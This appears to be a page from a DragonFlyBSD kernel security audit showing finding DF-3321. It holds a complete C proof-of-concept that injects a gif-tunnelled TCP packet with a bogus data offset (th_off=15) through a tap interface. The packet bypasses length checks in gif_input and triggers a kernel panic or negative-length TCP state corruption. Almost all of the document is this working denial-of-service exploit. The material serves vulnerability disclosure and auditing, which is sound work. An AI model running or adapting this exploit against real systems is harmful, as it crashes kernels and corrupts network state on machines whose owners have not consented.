⬢ DragonFlyBSD Kernel Audit
DF-3321 / gif_tcp_off15.c
← back to finding ↓ download raw
/*
 * DF-3321 PoC B - the DF-3293-class TCP data-offset corruption primitive,
 * delivered through the gif(4) decap path instead of gre(4).
 *
 * gif_input() clears M_HASH but not M_LENCHECKED, so ip_hashfn() skips
 * ip_lengthcheck() for the inner packet and th_off is never bounded
 * against the inner ip_len.  tcp_input() then executes
 *
 *   off = th->th_off << 2;                       (60)
 *   KASSERT(off >= sizeof(struct tcphdr) && off <= tlen);   60 <= 20 fails
 *   tlen -= off;                                 (negative)
 *
 * INVARIANTS kernels: panic "bad TCP data offset 60 (tlen 20)".
 * Production kernels: tlen = -40 flows into the segment state machine
 * (DF-3293 documents the consequences: reassembly entries with lying
 * tqe_len, rcv_nxt regression, panic("tcp_pulloutofband") with TH_URG).
 *
 * Setup/build/run: same as gif_ihl15.c (tap0 + gif0 tunnel).
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <net/if_dl.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

static u_int16_t
cksum(const u_int16_t *w, int len)
{
    u_int32_t sum = 0;

    while (len > 1) {
        sum += *w++;
        len -= 2;
    }
    if (len == 1)
        sum += *(const u_char *)w;
    while (sum >> 16)
        sum = (sum & 0xffff) + (sum >> 16);
    return (u_int16_t)~sum;
}

int
main(void)
{
    /* ether(14) + outer IP(20) + inner IP(20) + inner TCP(20) */
    unsigned char pkt[sizeof(struct ether_header) + 20 + 20 + 20];
    struct ifreq ifr;
    struct ether_header *eh;
    struct ip *oip, *iip;
    struct tcphdr *th;
    u_int16_t etype;
    u_char tapmac[ETHER_ADDR_LEN];
    int fd, n;

    fd = open("/dev/tap0", O_RDWR);
    if (fd < 0) { perror("open /dev/tap0"); return 1; }

    {
        struct sockaddr_dl *sdl;

        memset(&ifr, 0, sizeof(ifr));
        if (ioctl(fd, SIOCGIFADDR, &ifr) < 0) {
            perror("SIOCGIFADDR");
            return 1;
        }
        sdl = (struct sockaddr_dl *)&ifr.ifr_addr;
        memcpy(tapmac, LLADDR(sdl), ETHER_ADDR_LEN);
    }

    memset(pkt, 0, sizeof(pkt));

    eh = (struct ether_header *)pkt;
    memcpy(eh->ether_dhost, tapmac, ETHER_ADDR_LEN);
    eh->ether_shost[0] = 0x02; eh->ether_shost[1] = 0x00;
    eh->ether_shost[2] = 0x00; eh->ether_shost[3] = 0x00;
    eh->ether_shost[4] = 0x00; eh->ether_shost[5] = 0x02;
    etype = htons(ETHERTYPE_IP);
    memcpy(&eh->ether_type, &etype, 2);

    /* ---- outer IP: proto 4 (IPPROTO_IPV4, gif encap) ---- */
    oip = (struct ip *)(pkt + sizeof(struct ether_header));
    oip->ip_v = 4; oip->ip_hl = 5;
    oip->ip_tos = 0;
    oip->ip_len = htons(20 + 20 + 20);
    oip->ip_id  = htons(1);
    oip->ip_off = 0;
    oip->ip_ttl = 64;
    oip->ip_p   = 4;
    inet_aton("10.99.0.2", &oip->ip_src);
    inet_aton("10.99.0.1", &oip->ip_dst);
    oip->ip_sum = 0;
    oip->ip_sum = cksum((const u_int16_t *)oip, 20);

    /* ---- inner IP: honest 20-byte header, total 40 ---- */
    iip = (struct ip *)(pkt + sizeof(struct ether_header) + 20);
    iip->ip_v = 4; iip->ip_hl = 5;
    iip->ip_len = htons(40);
    iip->ip_ttl = 64;
    iip->ip_p   = IPPROTO_TCP;
    inet_aton("10.99.0.2", &iip->ip_src);
    inet_aton("10.99.0.1", &iip->ip_dst);
    iip->ip_sum = 0;
    iip->ip_sum = cksum((const u_int16_t *)iip, 20);

    /* ---- inner TCP: th_off=15 => claims a 60-byte header, but tlen=20 */
    th = (struct tcphdr *)((unsigned char *)iip + 20);
    th->th_sport = htons(40000);
    th->th_dport = htons(9999);
    th->th_seq   = htonl(1);
    th->th_ack   = htonl(1);
    th->th_off   = 15;                   /* <== 60 > tlen(20) */
    th->th_flags = TH_ACK;
    th->th_win   = htons(8192);
    th->th_sum   = 0;
    {
        /* pseudo header (12B) + the 20 bytes actually present */
        unsigned char cc[12 + 20];
        memset(cc, 0, sizeof(cc));
        memcpy(cc + 0, &iip->ip_src, 4);
        memcpy(cc + 4, &iip->ip_dst, 4);
        cc[8] = 0;
        cc[9] = IPPROTO_TCP;
        cc[10] = 0; cc[11] = 20;          /* tcp segment length, network order */
        memcpy(cc + 12, th, 20);
        th->th_sum = cksum((const u_int16_t *)cc, sizeof(cc));
    }

    n = write(fd, pkt, sizeof(pkt));
    printf("wrote %d/%d bytes to tap0 (expect panic: "
        "\"bad TCP data offset 60 (tlen 20)\" in tcp_input via gif decap)\n",
        n, (int)sizeof(pkt));
    if (n < 0)
        perror("write");
    sleep(2);
    return 0;
}